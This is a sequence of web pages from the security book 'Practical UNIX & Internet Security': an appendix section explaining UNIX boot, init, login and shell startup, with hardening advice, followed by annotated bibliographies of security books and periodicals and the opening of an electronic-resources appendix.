Although every UNIX system bootstraps in a slightly different fashion, usually the ROM monitor loads a small program called boot that is kept at a known location on the hard disk (or on the network.) The boot program then loads the UNIX kernel into the computer and starts running it.

After the kernel initializes itself and determines the machine's configuration, it creates a process with a PID of 1 which runs the /etc/init program.

C.5.1 Process #1: /etc/init

The program /etc/init finishes the task of starting up the computer system and lets users log in.

Some UNIX systems can be booted in a single-user mode. If UNIX is booted in single-user mode, the init program forks and runs the standard UNIX shell, /bin/sh, on the system console. This shell, run as superuser, gives the person sitting at the console total access to the system. It also allows nobody else access to the system; no network daemons are started unless root chooses to start them.

Some systems can be set up to require a password to boot in single-user mode, while others cannot. Many workstations - including those made by Sun Microsystems - allow you to set a special user password using the boot monitor in ROM. Single-user mode is designed to allow the resurrection of a computer with a partially corrupted filesystem; if the /etc/passwd file is deleted, the only way to rebuild it would be to bring the computer up in single-user mode. Unfortunately, single-user mode is also a security hole, because it allows unprivileged people to execute privileged commands simply by typing them on the system console; computers that can be brought up in single-user mode should have their consoles in a place that is physically secure. On many Berkeley-derived systems, changing the line in the /etc/ttytab file for the console so that it is not marked as "secure" will force the user to provide a password when booting in single-user mode.

Some UNIX systems can also be booted in a maintenance mode. Maintenance mode is similar to single-user mode, except that the root password must first be typed on the system console.

NOTE: Do not depend on the maintenance mode to prevent people from booting your computers in single-user mode. Most computers can be booted from CDROMS or floppy disks, allowing anyone with even the most modest technical knowledge to gain superuser privileges if they have physical access to the system.

In normal operation, /etc/init then executes the shell script /etc/rc. Depending on which version of UNIX you are using, /etc/rc may execute a variety of other shell scripts whose names all begin with /etc/rc (common varieties include /etc/rc.network and /etc/rc.local) or which are located in the directory /etc/init.d or /etc/rc?.d. System V systems additionally use the file /etc/inittab to control what is done at various run levels. The /etc/rc script(s) set up the UNIX as a multi-user system, performing a variety of features, including:

  • Removing temporary files from the /tmp and/or /usr/tmp directories

  • Removing any lock files

  • Checking filesystem consistency and mounting additional filesystems

  • Turning on accounting and quota checking

  • Setting up the network

When /etc/rc finishes executing, &sol;etc/init forks a new process for every enabled terminal on the system. On older systems, this program is called /etc/getty. On newer systems, including SVR4, it is called /usr/lib/saf/ttymon.

C.5.2 Logging In

The getty or ttymon program is responsible for configuring the user terminal and displaying the initial prompt. A copy of the program is run for each port that is monitored. Whenever the process dies, init starts another one to take its place. If the init process dies, UNIX halts or reboots (depending on the version of UNIX installed).

The getty or ttymon program displays the word login: (or a similar prompt) on its assigned terminal and waits for a username to be typed. When it gets a username, getty/ttymon exec's the program /bin/login, which asks for a password and validates it against the password stored in /etc/passwd. If the password does not match, the login program asks for a new username and password combination.

Some versions of UNIX can be set up to require an additional password if you're trying to log into the computer over a modem. See the reference page for your login program for details.

If you do not log in within a short period of time (usually 60 seconds), or if you make too many incorrect attempts, login exits and init starts up a new getty/ttymon program on the terminal. On some systems equipped with modems, this causes the telephone to hang up. Again, this strategy is designed to deter an unauthorized user from breaking into a UNIX computer by making the task more difficult: after trying a few passwords, a cracker attempting to break into a UNIX machine is forced to redial the telephone.

If the username and password match, the login program performs some accounting and initialization tasks, then changes its real and effective UIDS to be those of the username that has been supplied. login then exec's your shell program, usually /bin/csh or /bin/ksh. The process number of that shell is the same as the original getty. /etc/init receives a SIGCHLD signal when this process dies; /etc/init then starts a new getty or ttymon.

On Berkeley-derived systems, the file /etc/ttys or /etc/ttytab contains a line for each terminal that is to have a getty/ttymon process enabled. It also contains information on terminal type, if known, and an indication if the line is "secure." The root user cannot log into a terminal that is not secure; to become the superuser on one of these lines, you must first log in as yourself, then use the su command. Unless your terminal lines are all in protected areas, turning off "secure" on all lines is a good precaution.

C.5.3 Running the User's Shell

After you log in, UNIX will start up your shell. The shell will then read a series of start-up commands from a variety of different files, depending on which shell you are using and which flavor of UNIX you are running.

If your shell is /bin/sh (the Bourne shell) or /bin/ksh (the Korn shell), UNIX will execute all of the commands stored in a special file called .profile in your home directory. (On some systems, /bin/sh and /bin/ksh will also execute the commands stored in the /etc/profile or /usr/lib/profile file.)

If your shell is /bin/csh (the C shell), UNIX will execute all of the commands stored in the .cshrc file in your home directory. The C shell will then execute all of the commands stored in the .login file in your home directory. When you log out, the commands in the file .logout will be executed.

Because these files are automatically run for you when you log in, they can present a security problem: if an intruder were to modify the files, the end result would be the same as if the intruder were typing commands at your keyboard every time you logged in! Thus, these files should be protected so that an intruder cannot write to the files or replace them with other files. Chapter 5, The UNIX Filesystem, explains how to protect your files.

Previous: C.4 The kill Command | Practical UNIX & Internet Security | Next: D. Paper Sources
C.4 The kill Command | Book Index | D. Paper Sources


[Appendix D] Paper Sources

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: C.5 Starting Up UNIX and Logging In Appendix D Next: D.2 Security Periodicals

D. Paper Sources

Contents:
UNIX Security References
Security Periodicals

There have been a great many books, magazines and papers published on security in the last few years, reflecting the growing concern with the topic. Trying to keep up with even a subset of this information can be quite a chore, whether you wish to stay current as a researcher or as a practitioner. Here, we have collected information about a number of useful references that you can use as a starting point for more information, further depth, and additional assistance. We have tried to confine the list to accessible and especially valuable references that you will not have difficulty finding.[1] We've provided annotation where we think it will be helpful.

[1] If you have some other generally accessible reference that you think is outstanding and that we omitted from this list, please let us know.

In Appendix E we also list some online resources in which you can find other publications and discussions on security. In Appendix F, we give pointers to a number of professional organizations (including ACM, Usenix, and the IEEE Computer Society) that sponsor periodic conferences on security; you may wish to locate the proceedings of those conferences as an additional reference. We especially recommend the proceedings of the annual Usenix Security Workshop: these are generally UNIX-related and more oriented toward practice than theory.

D.1 UNIX Security References

These books focus on UNIX computer security.

Curry, David A. UNIX System Security: A Guide for Users and System Administrators. Reading, MA: Addison Wesley, 1992. Lots of sound advice from someone with real experience to back it up.

Farrow, Rik. UNIX System Security. Reading, MA: Addison Wesley, 1991. A reasonable overview of UNIX security, with emphasis on the DoD Orange Book and UNIX System V.

Ferbrache, David, and Gavin Shearer. Unix Installation, Security & Integrity. Englewood Cliffs, NJ: Prentice Hall, 1993. This is a comprehensive treatment of computer security issues in UNIX, although some areas are not treated in the same depth as others.

Grampp, F. T., and R. H. Morris. "UNIX Operating System Security," AT&T Bell Laboratories Technical Journal, October 1984. This is the original article on UNIX security and remains timely.

Reid, Brian. "Reflections on Some Recent Widespread Computer Break-ins." Communications of the ACM, Volume 30, Number 2, February 1987. Some interesting comments on UNIX security based on some break-ins at various sites. Still timely.

Wood, Patrick H., and Stephen G. Kochan. UNIX System Security, Carmel, IN: Hayden Books, 1986. A good but very dated treatment of UNIX System V security prior to the incorporation of TCP/IP networking. This book is of mainly historical interest.

D.1.1 Other Computer References

The following books and articles are of general interest to all practitioners of computer security, with UNIX or another operating system.

D.1.2 Computer Crime and Law

Arkin, S. S., B. A. Bohrer, D. L. Cuneo, J. P. Donohue, J. M. Kaplan, R. Kasanof, A. J. Levander, and S. Sherizen. Prevention and Prosecution of Computer and High Technology Crime. New York, NY: Matthew Bender Books, 1989. A book written by and for prosecuting attorneys and criminologists.

BloomBecker, J. J. Buck. Introduction to Computer Crime. Santa Cruz CA: National Center for Computer Crime Data, 1988. (Order from NCCCD, 408-475-4457.) A collection of essays, news articles, and statistical data on computer crime in the 1980s.

BloomBecker, J. J. Buck. Spectacular Computer Crimes. Homewood, IL: Dow Jones-Irwin, 1990. Lively accounts of some of the more famous computer-related crimes of the past two decades.

BloomBecker, J.J. (as Becker, Jay). The Investigation of Computer Crime. Columbus, OH: Battelle Law and Justice Center, 1992.

Communications of the ACM, Volume 34, Number 3, March 1991: the entire issue. This issue has a major feature discussing issues of computer publishing, Constitutional freedoms, and enforcement of the laws. This document is a good source for an introduction to the issues involved.

Conly, Catherine H. Organizing for Computer Crime Investigation and Prosecution, Washington, DC: National Institutes of Justice, 1989. A publication intended for law-enforcement personnel.

Cook, William J. Internet & Network Law 1995. A comprehensive volume which is updated regularly; the title may change to reflect the year of publication. For further information, contact the author at:

Willian Brinks Olds Hofer Gilson and Lione
Suite 3600,
NBC Tower
455 N Cityfront Plaza Dr.
Chicago, IL 60611-4299

Icove, David, Karl Seger, and William VonStorch, Computer Crime: A Crimefighter's Handbook, Sebastopol, CA: O'Reilly & Associates, 1995. A popular rewrite of an FBI training manual.

McEwen, J. Thomas. Dedicated Computer Crime Units. Washington, DC: National Institutes of Justice, 1989. Another publication intended for law-enforcement personnel.

Parker, Donn B. Computer Crime: Criminal Justice Resource Manual. Washington, DC:National Institutes of Justice, 1989. A comprehensive document for investigation and prosecution of computer-related crimes. (Order from +1-800-851-3420.)

Power, Richard. Current and Future Danger: A CSI Primer on Computer Crime and Information Warfare. San Francisco, CA: Computer Security Institute, 1995. An interesting and timely summary.

Sieber, Ulrich, ed. International Review of Penal Law: Computer Crime and Other Crimes against Information Technology. Toulouse, France: 1992.

D.1.3 Computer-Related Risks

Leveson, Nancy G. Safeware: System Safety and Computers. A Guide to Preventing Accidents and Losses Caused by Technology. Reading, MA: Addison Wesley, 1995. This textbook contains a comprehensive exploration of the dangers of computer systems, and explores ways in which software can be made more fault tolerant and safety conscious.

Neumann, Peter G. Computer Related Risks. Reading, MA: Addison & Wesley, 1995. Dr. Neumann moderates the Internet RISKS mailing list. This book is a collection of the most important stories passed over the mailing list since its creation.

Weiner, Lauren Ruth. Digital Woes: Why we Should not Depend on Software. Reading, MA: Addison-Wesley, 1993. A popular account of problems with software.

D.1.4 Computer Viruses and Programmed Threats

Communications of the ACM, Volume 32, Number 6, June 1989 (the entire issue). This whole issue was devoted to issues surrounding the Internet Worm incident.

Computer Virus Attacks. Gaithersburg, MD: National Computer Systems Bulletin, National Computer Systems Laboratory, National Institute for Standards and Technology. (Order from National Technical Information Service, 703-487-4650, Order number PB90-115601.) One of many fine summary publications published by NIST; contact NTIS at 5285 Port Royal Road, Springfield, VA 22161, for a complete publication list.

Denning, Peter J. Computers Under Attack: Intruders, Worms and Viruses. Reading, MA: ACM Press/Addison-Wesley, 1990. One of the two most comprehensive collections of readings related to these topics, including reprints of many classic articles. A "must-have."

Ferbrache, David. The Pathology of Computer Viruses. London, England: Springer-Verlag, 1992. This is probably the best all-around book on the technical aspects of computer viruses.

Hoffman, Lance J., Rogue Programs: Viruses, Worms and Trojan Horses. New York, NY: Van Nostrand Reinhold, 1990. The other most comprehensive collection of readings on viruses, worms, and the like. A must for anyone interested in the issues involved.

The Virus Bulletin. Virus Bulletin CTD. Oxon, England. A monthly international publication on computer virus prevention and removal. (U.S. orders may be placed c/o June Jordan, (203) 431-8720 for $395/year. European orders may be placed through +44 235-555139 for (£195/year.) This is an outstanding publication about computer viruses and virus prevention. It is likely to be of value only to sites with a significant PC population, however. The publication also sponsors a yearly conference that has good papers on viruses. http://www.virusbtn.com.

D.1.5 Cryptography Books

Bamford, James. The Puzzle Palace: A Report on America's Most Secret Agency. Boston, MA: Houghton Mifflin, 1982. The complete, inside story of the National Security Agency.

Denning, Dorothy E. R. Cryptography and Data Security. Reading, MA: Addison-Wesley, 1983. The classic textbook in the field.

Garfinkel, Simson. PGP: Pretty Good Privacy. Sebastopol, CA: O'Reilly & Associates, 1994. Describes the history of cryptography, the history of the program PGP, and explains the PGP's use.

Hinsley, F.H., and Alan Stripp. Code Breakers: The Inside Story of Bletchley Park. Oxford, England: Oxford University Press, 1993.

Hodges, Andrew. Alan Turing: The Enigma. New York, NY: Simon & Schuster, Inc., 1983. The definitive biography of the brilliant scientist who broke "Enigma," Germany's deepest World War II secret; who pioneered the modern computer age; and who finally fell victim to the Cold War world of military secrets and sex scandals.

Hoffman, Lance J. Building in Big Brother: The Cryptographic Policy Debate. New York, NY: Springer-Verlag, 1995. An interesting collection of papers and articles about the Clipper Chip, Digital Telephony legislation, and public policy on encryption.

Kahn, David. The Codebreakers. New York, NY: Macmillan Company, 1972. The definitive history of cryptography prior to the invention of public key.

Kahn, David. Seizing the Enigma: The Race to Break the German U-Boat Codes, 1939-1943. Boston, MA: Houghton Mifflin, 1991.

Merkle, Ralph. Secrecy, Authentication and Public Key Systems. Ann Arbor, MI: UMI Research Press, 1982.

Schneier, Bruce. Applied Cryptography: Protocols, Algorithms, and Source Code in C. Second edition. New York, NY: John Wiley & Sons, 1996. The most comprehensive, unclassified book about computer encryption and data-privacy techniques ever published.

Simmons, G.J., ed. Contemporary Cryptology: The Science of Information Integrity. New York, NY: IEEE Press, 1992.

Smith, Laurence Dwight. Cryptography: The Science of Secret Writing. New York, NY: Dover Publications, 1941.

D.1.6 Cryptography Papers and Other Publications

Association for Computing Machinery. "Codes, Keys, and Conflicts: Issues in U.S. Crypto Policy." Report of a Special Panel of the ACM U.S. Public Policy Committee location: USACM, June 1994. (URL: http://info.acm.org/reports/acm_crypto_study.html )

Coppersmith, Don. IBM Journal of Research and Development 38 (1994).

Diffie, Whitfield. "The First Ten Years of Public-Key Cryptography." Proceedings of the IEEE 76 (1988): 560-76. Whitfield Diffie's tour-de-force history of public key cryptography, with revealing commentaries.

Diffie, Whitfield, and M.E. Hellman. "New Directions in Cryptography." IEEE Transactions on Information Theory IT-22 (1976). The article that introduced the concept of public key cryptography.

Hoffman, Lance J., Faraz A. Ali, Heckler, Steven L. and Ann Huybrechts. "Cryptography Policy." Communications of the ACM 37 (1994): 109-17.

Lai, Xuejia. "On the Design and Security of Block Ciphers." ETH Series in Information Processing 1 (1992). The article describing the IDEA cipher.

Lai, Xuejia, and James L. Massey. "A Proposal for a New Block Encryption Standard." Advances in Cryptology-EUROCRYPT '90 Proceedings (1992): 55-70. Another article describing the IDEA cipher.

LaMacchia, Brian A. and Andrew M. Odlyzko. "Computation of Discrete Logarithms in Prime Fields." Designs, Codes, and Cryptography. (1991):, 46-62.

Lenstra, A.K., H. W. Lenstra, Jr., M.S. Manasse, and J.M. Pollard. "The Number Field Sieve." Proceedings of the 22nd ACM Symposium on the Theory of Computing. Baltimore MD: ACM Press, 1990, 564-72.

Lenstra, A.K., Lenstra, Jr., H.W., Manasse, M.S., and J.M. Pollard. "The Factorization of the Ninth Fermat Number." Mathematics of Computation 61 (1993): 319-50.

Merkle, Ralph. "Secure Communication Over Insecure Channels." Communications of the ACM 21 (1978): 294-99 (submitted in 1975). The article that should have introduced the concept of public key cryptography.

Merkle, Ralph, and Martin E. Hellman. "On the Security of Multiple Encryption." Communications of the ACM 24 (1981): 465-67.

Merkle, Ralph, and Martin E. Hellman. "Hiding Information and Signatures in Trap Door Knapsacks." IEEE Transactions on Information Theory 24 (1978): 525-30.

National Bureau of Standards. Data Encryption Standard 1987.(FIPS PUB 46-1)

Rivest, Ron. Ciphertext: The RSA Newsletter 1 (1993).

Rivest, Ron, A. Shamir, and L. Adleman. "A Method for Obtaining Digital Signatures and Public Key Cryptosystems." Communications of the ACM 21 (1978).

Simmons, G. J. "How to Insure that Data Acquired to Verify Treaty Compliance are Trustworthy." in "Authentication without secrecy: A secure communications problem uniquely solvable by asymmetric encryption techniques." IEEE EASCON '79, (1979): 661-62.

D.1.7 General Computer Security

Amoroso, Edward. Fundamentals of Computer Security Technology. Englewood Cliffs, NJ: Prentice-Hall, 1994. A very readable and complete introduction to computer security at the level of a college text.

Carroll, John M. Computer Security. 2nd edition, Stoneham, MA: Butterworth Publishers, 1987. Contains an excellent treatment of issues in physical communications security.

Computers & Security. This is a journal published eight times each year by Elsevier Press, Oxford, England. (Order from Elsevier Press, +44-(0) 865-512242.) It is one of the main journals in the field. This journal is priced for institutional subscriptions, not individuals. Each issue contains pointers to dozens of other publications and organizations that might be of interest, as well as referenced articles, practicums, and correspondence. The URL for the WWW page is included in "Security Periodicals."

Computer Security Requirements - Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments, Fort George G. Meade, MD: National Computer Security Center, 1985. (Order number CSC-STD-003-85.) (The Yellow Book)

Datapro Reports on Computer Security. Delran, NJ: McGraw-Hill. (Order from Datapro, 609-764-0100.) An ongoing (and expensive) series of reports on various issues of security, including legislation trends, new products, items in the news, and more. Practitioners are divided on the value of this publication, so check it out carefully before you buy it to see if it is useful in your situation.

Department of Defense Password Management Guideline. Fort George G. Meade, MD: National Computer Security Center, 1985. (Order number CSC-STD-002-85.) (The Green Book)

Department of Defense Trusted Computer System Evaluation Criteria. Fort George G. Meade, MD: National Computer Security Center, 1985. (Order number DoD 5200.28-STD.) (The Orange Book)

Fites, P. E., M. P. J. Kratz, and A. F. Brebner. Control and Security of Computer Information Systems. Rockville, MD: Computer Science Press, 1989. A good introduction to the administration of security policy and not techniques.

Gasser, Morrie. Building a Secure Computer System. New York, NY: Van Nostrand Reinhold, 1988. A solid introduction to issues of secure system design.

Hunt, A. E., S. Bosworth, and D. B. Hoyt, eds. Computer Security Handbook, 3rd edition. New York, NY: Wiley, 1995. A massive and thorough collection of essays on all aspects of computer security.

National Research Council, Computers at Risk: Safe Computing in the Information Age. Washington, DC: National Academy Press, 1991. (Order from NRC, 1-800-624-6242.) This book created considerable comment. It's a report of a panel of experts discussing the need for national concern and research in the areas of computer security and privacy. Some people think it is a significant publication, while others believe it has faulty assumptions and conclusions. Either way, you should probably read it.

Pfleeger, Charles P. Security in Computing. Englewood Cliffs, NJ: Prentice-Hall, 1989. Another good introduction to computer security.

Russell, Deborah, and G. T. Gangemi, Sr. Computer Security Basics. Sebastopol, CA: O'Reilly & Associates, 1991. An excellent introduction to many areas of computer security and a summary of government security requirements and issues.

Thompson, Ken. "Reflections on Trusting Trust" Communications of the ACM, Volume 27, Number 8, August (1984). This is a "must-read" for anyone seeking to understand the limits of computer security and trust.

Wood, Charles Cresson, et al. Computer Security: A Comprehensive Controls Checklist, New York, NY: John Wiley & Sons, 1987. Contains many comprehensive and detailed checklists for assessing the state of your own computer security and operations.

Wood, Charles Cresson. Information Security Policies Made Easy. Sausalito, CA: Baseline Software, 1994. This book and accompanying software allow the reader to construct a corporate security policy using hundreds of components listed in the book. Pricey, but worth it if you need to write a comprehensive policy:

Baseline Software
PO Box 1219
Sausalito, CA 94966-1219
++1 415-332-7763

D.1.8 Network Technology and Security

Bellovin, Steve and Cheswick, Bill. Firewalls and Internet Security. Reading, MA: Addison-Wesley, 1994. The classic book on firewalls. This book will teach you everything you need to know about how firewalls work, but it will leave you without implementation details unless you happen to have access to the full source code to the UNIX operating system and a staff of programmers who can write bug-free code.

Chapman, D. Brent, and Elizabeth D. Zwicky. Building Internet Firewalls. Sebastopol, CA: O'Reilly & Associates, 1995. A good how-to book that describes in clear detail how to build your own firewall.

Comer, Douglas E. Internetworking with TCP/IP. 3rd Edition. Englewood Cliffs, NJ: Prentice Hall, 1995. A complete, readable reference that describes how TCP/IP networking works, including information on protocols, tuning, and applications.

Frey, Donnalyn, and Rick Adams. !%@:: A Directory of Electronic Mail Addressing and Networks, Sebastopol, CA: O'Reilly & Associates, 1990. This guide is a complete reference to everything you would ever want to know about sending electronic mail. It covers addressing and transport issues for almost every known network, along with lots of other useful information to help you get mail from here to there. Highly recommended.

Hunt, Craig. TCP/IP Network Administration. Sebastopol, CA: O'Reilly & Associates, 1992. This book is an excellent system administrator"s overview of TCP/IP networking (with a focus on UNIX systems), and a very useful reference to major UNIX networking services and tools such as BIND (the standard UNIX DNS Server) and sendmail (the standard UNIX SMTP Server).

Kaufman, Charles, Radia Perlman, and Mike Speciner. Network Security: Private Communications in a Public World. Englewood Cliffs, NJ: Prentice-Hall, 1995.

Liu, Cricket, Jerry Peek, Russ Jones, Bryan Buus, and Adrian Nye. Managing Internet Information Services, Sebastopol, CA: O'Reilly & Associates, 1994. This is an excellent guide to setting up and managing Internet services such as the World Wide Web, FTP, Gopher, and more, including discussions of the security implications of these services.

Stallings, William. Network and Internetwork Security: Principles and Practice. Englewood Cliffs, NJ: Prentice Hall, 1995. A good introductory textbook.

Stevens, Richard W. TCP/IP Illustrated. The Protocols, Volume 1. Reading, MA: Addison-Wesley, 1994. This is a good guide to the nuts and bolts of TCP/IP networking. Its main strength is that it provides traces of the packets going back and forth as the protocols are actually in use, and uses the traces to illustrate the discussions of the protocols.

Quarterman, John. The Matrix: Computer Networks and Conferencing Systems Worldwide. Bedford, MA: Digital Press, 1990. A dated but still insightful book describing the networks, protocols, and politics of the world of networking.

D.1.9 Security Products and Services Information

Computer Security Buyer's Guide. Computer Security Institute, San Francisco, CA. (Order from CSI, 415-905-2626.) Contains a comprehensive list of computer security hardware devices and software systems that are commercially available. The guide is free with membership in the Institute. The URL is at http://www.gocsi.com.

D.1.10 Understanding the Computer Security "Culture"

All of these describe views of the future and computer networks that are much discussed (and emulated) by system crackers.

Brunner, John. Shockwave Rider. New York, NY: A Del Ray Book, published by Ballantine, 1975. One of the first descriptions of a computer worm.

Gibson, William. Burning Chrome, Count Zero, Mona Lisa Overdrive, and Neuromancer New York, NY: Bantam Books These four cyberpunk books by the science fiction author who coined the term "cyberspace."

Hafner, Katie and John Markoff, Cyberpunk: Outlaws and Hackers on the Computer Frontier. New York, NY: Simon and Schuster, 1991. Tells the stories of three hackers - Kevin Mitrick, Pengo, and Robert T. Morris.

Levy, Steven. Hackers: Heroes of the Computer Revolution. New York, NY: Dell Books, 1984. One of the original publications describing the "hacker ethic."

Littman, Jonathan, The Fugitive Game: Online with Kevin Mitnick. Boston, MA: Little, Brown, 1996. A year prior to his capture in 1995, Jonathan Littman had extensive telephone conversations with Kevin Mitnick and learned what it is like to be a computer hacker on the run. This is the story.

Shimomura, Tsutomu, with John Markoff. Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw---By the Man Who Did it. New York, NY: Hyperion, 1995. On Christmas Day, 1994, an attacker broke into Tsutomu Shimomura's computer. A few weeks later, Shimomura was asked to help out with a series of break-ins at two major Internet service providers in the San Fransisco area. Eventually, the trail led to North Carolina, where Shimomura participated in the tracking and capture of Kevin Mitnick. This is the story, written by Shimomura and Markoff. Markoff is the journalist with The New York Times who covered the capture.

Sterling, Bruce. The Hacker Crackdown: Law and Disorder on the Electronic Frontier. This book is available in several places on the WWW; http://www-swiss.ai.mit.edu/~bal/sterling/contents.html is one location; other locations can be found in the COAST hotlist.

Stoll, Cliff. The Cuckoo's Egg, Garden City, NY: Doubleday, 1989. An amusing and gripping account of tracing a computer intruder through the networks. The intruder was later found to be working for the KGB and trying to steal sensitive information from U.S. systems.

Varley, John. Press Enter. Reprinted in several collections of science fiction, including Blue Champagne, Ace Books, 1986; Isaac Asimov's Science Fiction Magazine, 1984; and Tor SF Doubles, October, Tor Books, 1990.

Vinge, Vernor. True Names and Other Dangers. New York, NY: Baen, distributed by Simon & Schuster, 1987.

D.1.11 UNIX Programming and System Administration

Albitz, Paul and Cricket Liu. DNS and BIND. Sebastopol, CA: O'Reilly & Associates, 1992. An excellent reference for setting up DNS nameservers.

Bach, Maurice. The Design of the UNIX Operating System. Englewood Cliffs, NJ: Prentice-Hall, 1986. Good background about how the internals of UNIX work. Basically oriented toward older System V UNIX, but with details applicable to every version.

Bolsky, Morris I., and David G. Korn. The New Kornshell Command and Programming Language. Englewood Cliffs, NJ: Prentice-Hall, 1995. This is a complete tutorial and reference to the 1992 ksh - the only shell some of us use when given the choice.

Costales, Bryan, with Eric Allman and Neil Rickert. sendmail. Sebastopol, CA: O'Reilly & Associates, 1993. Rightly or wrongly, many UNIX sites continue to use the sendmail mail program. This huge book will give you tips on configuring it more securely.

Goodheart, B. and J. Cox. The Magic Garden Explained: The Internals of UNIX SVR4. Englewood Cliffs, N.J.: Prentice-Hall, 1994

Harbison, Samuel P. and Guy L. Steele Jr., C, a Reference Manual. Englewood Cliffs, NJ: Prentice Hall, 1984.

Hu, Wei. DCE Security Programming. Sebastopol, CA: O'Reilly & Associates, 1995.

Kernighan, Brian, Dennis Ritchie and Rob Pike. The UNIX Programming Environment. Englewood Cliffs, NJ: Prentice-Hall, 1984. A nice guide to the UNIX philosophy and how to build shell scripts and command environments under UNIX.

Leffler, Samuel, Marshall Kirk McKusick, Michael Karels, and John Quarterman. The Design and Implementation of the 4.3 BSD UNIX Operating System. Reading, MA: Addison Wesley, 1989. This book can be viewed as the BSD version of Maurice Bach's book. It is a readable and detailed description of how and why the BSD UNIX system is designed the way it is. (An updated version covering BSD 4.4 is rumored to be in production, to appear after publication of this edition.)

Nemeth, Evi, Garth Snyder, Scott Seebass, and Trent R. Hein. UNIX System Administration Handbook. 2nd Edition. Englewood Cliffs, NJ: Prentice-Hall, 1995. An excellent reference on the various ins and outs of running a UNIX system. This book includes information on system configuration, adding and deleting users, running accounting, performing backups, configuring networks, running sendmail, and much more. Highly recommended.

O'Reilly, Tim, and Grace Todino. Managing UUCP and Usenet. Sebastopol CA: O'Reilly & Associates, 1992. If you run UUCP on your machine, you need this book. It discusses all the various intricacies of running the various versions of UUCP. Included is material on setup and configuration, debugging connections, and accounting. Highly recommended.

Peek, Jerry et al. UNIX Power Tools, Sebastopol, CA: O'Reilly & Associates, 1993.

Ramsey, Rick. All About Administering NIS+. Englewood Cliffs, NJ: Prentice-Hall, 1994.

Rochkind, Marc. Advanced UNIX Programming. Englewood Cliffs, NJ: Prentice-Hall, 1985. This book has easy-to-follow introduction to various system calls in UNIX (primarily System V) and explains how to use them from C programs. If you are administering a system and reading or writing system-level code, this book is a good way to get started, but keep in mind that this is rather dated.

Stevens, W. Richard. Advanced Programming in the UNIX Environment. Reading, MA: Addison-Wesley, 1992.

D.1.12 Miscellaneous References

Hawking, Stephen W. A Brief History of Time: From the Big Bang to Black Holes, New York, NY: Bantam Books, 1988. Want to find the age of the universe? It's in here, but UNIX is not.

Miller, Barton P., Lars Fredriksen, and Bryan So. "An Empirical Study of the Reliability of UNIX Utilities," Communications of the ACM, Volume 33, Number 12, December 1990, 32-44. A thought-provoking report of a study showing how UNIX utilities behave when given unexpected input.

Wall, Larry, and Randal L. Schwartz. Programming perl, Sebastopol, CA: O'Reilly & Associates, 1991. The definitive reference to the Perl scripting language. A must for anyone who does much shell, awk, or sed programming or would like to quickly write some applications in UNIX.

Wall, Larry and Randal L. Schwartz. Learning perl, Sebastopol, CA: O'Reilly & Associates, 1993.

Previous: C.5 Starting Up UNIX and Logging In | Practical UNIX & Internet Security | Next: D.2 Security Periodicals
C.5 Starting Up UNIX and Logging In | Book Index | D.2 Security Periodicals


[Appendix D] D.2 Security Periodicals

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: D.1 UNIX Security References Appendix D
Paper Sources 		Next: E. Electronic Resources

D.2 Security Periodicals

Computer Audit Update,
Computer Fraud & Security Update,
Computer Law & Security Report,
Computers & Security

Elsevier Advanced Technology
Crown House, Linton Rd.
Barking, Essex I611 8JU
England

Voice: +44-81-5945942
Fax: +44-81-5945942
Telex: 896950 APPSCI G
North American Distributor:

P.O. Box 882
New York, NY 10159
Voice: +1-212-989-5800

http://www.elsevier.nl/catalogue/

Computer & Communications Security Reviews
Northgate Consultants Ltd
Ivy Dene
Lode Fen
Cambridge CB5 9HF
England
Fax: +44 223 334678

http://www.cl.cam.ac.uk/users/rja14/#SR

Computer Security, Audit & Control
Box 81151
Wellesley Hills, MA 02181
Voice: +1-617-235-2895

Computer Security, Audit & Control
(Law & Protection Report)
P.O. Box 5323
Madison, WI 53705
Voice: +1-608-271-6768

Computer Security Alert
Computer Security Journal
Computer Security Buyers Guide
Computer Security Institute
600 Harrison Street
San Francisco, CA 94107
Voice: +1-415-905-2626
http://www.gocsi.com

Disaster Recovery Journal
PO Box 510110
St. Louis, MO 63151
+1 314-894-0276
http://www.drj.com

FBI Law Enforcement Bulletin
Federal Bureau of Investigation
10th and Pennsylvania Avenue
Washington, DC 20535
Voice: +1-202-324-3000

Information Systems Security Journal
Auerbach Publications
31 St. James Street
Boston, MA 02116
Voice: +1-800-950-1216

Information Systems Security Monitora
U.S. Department of the Treasury
Bureau of the Public Debt
AIS Security Branch
200 3rd Street
Parkersburg, WV 26101
Voice: +1-304-480-6355
BBS: +1-304-480-6083

InfoSecurity News
498 Concord Street
Framingham, MA 01701
Voice: +1-508-879-9792
http://www.infosecnews.com/isn/MS7.HTML

A trade magazine that you can probably get for free if you work with security. It is well worth the time needed to fill out the subscription card!

Journal of Computer Security
IOS Press
Van Diemenstraat 94
1013 CN Amsterdam, Netherlands
Fax: +31-20-620-3419
http://www.isse.gmu.edu/~xsis/jcs.html

Police Chief
International Association of Chiefs of Police
110 North Glebe Road, Suite 200
Arlington, VA 22201-9900
Voice: +1-703-243-6500

Security Management
American Society for Industrial Security
1655 North Fort Meyer Drive, Suite 1200
Arlington, VA 22209
Voice: +1-703-522-5800

Virus Bulletin
Virus Bulletin CTD
Oxon, Engand
Voice: +44-235-555139
North American Distributor:
RG Software Systems
Voice: +1-602-423-8000
http://www.virusbtn.com

Previous: D.1 UNIX Security References | Practical UNIX & Internet Security | Next: E. Electronic Resources
D.1 UNIX Security References | Book Index | E. Electronic Resources


[Appendix E] Electronic Resources

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: D.2 Security Periodicals Appendix E Next: E.2 Usenet Groups

E. Electronic Resources

Contents:
Mailing Lists
Usenet Groups
WWW Pages
Software Resources

There is a certain irony in trying to include a comprehensive list of electronic resources in a printed book such as this one. Electronic resources such as Web pages, newsgroups, and mailing lists are updated on an hourly basis; new releases of computer programs can be published every few weeks.

Books, on the other hand, are infrequently updated. The first edition of Practical UNIX Security, for instance, was written between 1989 and 1990, and published in 1991. This revised edition was started in 1995 and not published until 1996. Interim reprintings incorporated corrections, but did not include new material.

